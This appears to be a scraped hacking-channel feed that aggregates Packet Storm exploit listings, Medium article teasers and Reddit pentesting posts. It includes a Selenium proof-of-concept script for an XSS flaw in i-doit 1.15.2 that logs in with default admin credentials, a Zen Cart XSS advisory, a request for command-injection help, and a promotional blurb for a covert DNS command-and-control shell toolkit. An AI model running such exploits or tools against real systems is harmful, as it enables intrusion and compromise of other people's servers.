Exploit Collector
Pluck CMS 4.7.13 Remote Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
i-doit 1.15.2 Cross Site Scripting

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png
i-doit version 1.15.2 suffers from a cross site scripting vulnerability.

MD5 | 4760ac7ddc0a553330c79104c0530f02

Download
# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.25.2021
# Vendor: https://www.i-doit.org/news/
# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/
# From Github:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# CVE: CVE-2021-3151 - NEW
# Proof: https://streamable.com/vofczm

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys
# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

## The exploit

## Vulnerable (Infrastructure) section
## Parameter:
viewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})

- URL

http://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1

## insert the payload into:

Title:
Description:

---------------------------------

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from
Infrastructure
# Date: 05.25.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://www.i-doit.org/news/
# Software Link:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
nginx 1.20.0 DNS Resolver Off-By-One Heap Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zen Cart 1.5.7 Cross Site Scripting

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Zen Cart version 1.5.7 suffers from a cross site scripting vulnerability.

MD5 | df30607df6a72933aa69d11199808bb8

Download
Information
--------------------
Advisory by Netsparker
Name: Cross-Site Scripting Vulnerability in Zen Cart 1.5.7
Affected Software: Zen Cart
Affected Versions: 1.5.7
Homepage: https://www.zen-cart.com/
Vulnerability: Cross-Site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Netsparker Advisory Reference: NS-21-002

Technical Details
--------------------

Zen Cart 1.5.7 was improperly sanitizing user input in HTTP GET parameter
names, which led to a Cross-Site Scripting (XSS) vulnerability in the admin
area. The impact of this vulnerability is lessened due to the fact that the
name of the admin panel must be set to a random or user-supplied name.

Resolution: The vulnerability is fixed in Zen Cart v1.5.7c.
Scope: It affected only users of Zen Cart v1.5.7, v1.5.7a, and v1.5.7b.
Fix: Users can consult the release announcement for guidance on applying
the patched files related to upgrading to v1.5.7c

For more information on cross-site scripting vulnerabilities read the
article Cross-site Scripting (XSS).

For more information:
https://www.netsparker.com/web-applications-advisories/ns-21-002-cross-site-scripting-in-zen-cart/

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Information gathering using DNS enumeration techniques and tools

https://cdn-images-1.medium.com/max/1200/1*yirQ9JBmE1CHApdVzf7BNQ.jpeg
When we talk about DNS enumeration, we generally refer to every technique we use to gather as much data as possible by querying the DNS…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Battle Between Ransomware, Researchers, and anti-virus Companies looking for attention

The Colonial pipeline ransomware hackers had a secret weapon: self-promoting cybersecurity firms — MIT Technology Review, Renee Dudley and…

Continue reading on Hybrid Analyst »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Mobile AppSec: Security Considerations for Finalized Mobile App Distributables

https://cdn-images-1.medium.com/max/2600/0*tdGzM5EdLR7D9tLr
It is important to understand that mobile apps are client-side applications. Anyone with the final package binary/installable bundle can…

Continue reading on Walmart Global Tech Blog »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HostHunter v1.5 — Discover & Extract Hostnames Providing a Large Set of Target IP Addresses

https://cdn-images-1.medium.com/max/729/0*fuNnUEwd2Zq0PHc6.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cybersecurity Attacks: Are You Ready?

https://cdn-images-1.medium.com/max/2600/1*cmitvY_yVvS0U8a-0c_mTA.jpeg
Now more than ever cybersecurity concerns are on the rise. Every day people browse the internet and download online files, without…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Pen Test Report Writing Tool
https://www.reddit.com/r/Pentesting/comments/nln3ee/pen_test_report_writing_tool/

I'm working on a side project of trying to build a web-based tool for managing and helping me generate pen-testing reports. The idea is to define some attributes, such as the company you're doing the work for, dates, etc., and then drag-and-drop blocks of the report into place. For example, an executive summary, scope, various issues found. All would come in customized already with the various known attributes, and then you can tweak/modify each section as needed. You can then also save your blocks to re-use later. This might be particularly handy for various vulnerabilities since we tend to find the same things over and over again. I'd be curious to hear from as many people as possible regarding what features they would want in a web-based report writer, and I'm also looking for sample reports. Anything redacted or open-source would be fine, but please nothing confidential. I've started this Workflowy list to try and capture the requirements: https://workflowy.com/s/penetration-report-w/h1fcj6ru5b3ca4r7 Any help is appreciated. Happy to share the final result with you, if it ever comes into being. If I build it, I will likely charge a monthly or annual fee for it, but anyone who helps will get a large discount and/or some extended trial period (3 months +?). submitted by /u/ltmodcs (https://www.reddit.com/user/ltmodcs)
[link] (https://www.reddit.com/r/Pentesting/comments/nln3ee/pen_test_report_writing_tool/) [comments] (https://www.reddit.com/r/Pentesting/comments/nln3ee/pen_test_report_writing_tool/)

___________________________
@hacking_Attack
@Hacking_Video

HostHunter v1.5 — Discover & Extract Hostnames Providing a Large Set of Target IP Addresses
https://skynettools.medium.com/hosthunter-v1-5-discover-extract-hostnames-providing-a-large-set-of-target-ip-addresses-df103bd2f15e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Continue reading on Medium » (https://skynettools.medium.com/hosthunter-v1-5-discover-extract-hostnames-providing-a-large-set-of-target-ip-addresses-df103bd2f15e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
How can I speed up my TOR? It takes 2/4 minutes to load a page and sometimes it just doesnt open and gives error.

My Broadband is 8 MbPS

Using USA Server in NordVPN

I heard that TOR uses 3 nodes for using (IDK whats that) and it makes TOR slow...

Any fix?

submitted by /u/skyyroach
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Cmd injection
https://www.reddit.com/r/Pentesting/comments/nlquki/cmd_injection/

<!-- SC_OFF -->Really struggling to do a command injection on a server that I am told, is vulnerable for cmd injection on an application port. The application does not have UI so no URL to use tools like burp, commix etc. I know it’s too generic but is there a way command injections can be done checking with Linux level commands from external server like trying to write files in target server etc ? Any help would be appreciated. TIA. <!-- SC_ON --> submitted by /u/Pamelaxyz (https://www.reddit.com/user/Pamelaxyz)
[link] (https://www.reddit.com/r/Pentesting/comments/nlquki/cmd_injection/) [comments] (https://www.reddit.com/r/Pentesting/comments/nlquki/cmd_injection/)

DNS-Black-Cat(DBC) - Multi Platform Toolkit For An Interactive DNS Shell Commands Exfiltration, By Using DNS-Cat You Will Be Able To Execute System Commands In Shell Mode Over DNS Protocol

Multi-platform toolkit for an interactive C2C DNS shell, by using DNS-Black-Cat, you will be able to execute system commands in shell mode over a fully encrypted covert channel.Server ported as a python script, which acts as DNS server with required functionalities to provide interactive shell command interface. Client ported as the following file formats Windows 32/64 executable (exe) Linux 32/64 executable (ELF) Powershell Script (ps1) Dynamic Link Library (DLL) MacOS Darwin x86_64 Highlights The agent supports multi-platforms. built-in feature with 0xsp-mongoose RED. Available as win32/64 executable, Powershell script, Linux ELF. Encrypted and encoded DNS Queries. Traffic Segmentation. Speed and stability. Stealth and undetectable. Releases System Supported Windows (EXE) YES Windows (PS) YES Windows (DLL) YES Linux YES MacOS YES BSD Still Android Still Support Support the project for continuous development (ETH 0xf340c15c5e669a4ababab856e9f2bccd659d6e42) Wiki ? https://0xsp.com/security%20research%20&%20development%20(SRD)/covert-dns-cc-for-red-teaming-ops Download Dns-Black-Cat
Read more...

___________________________
@hacking_Attack
@Hacking_Video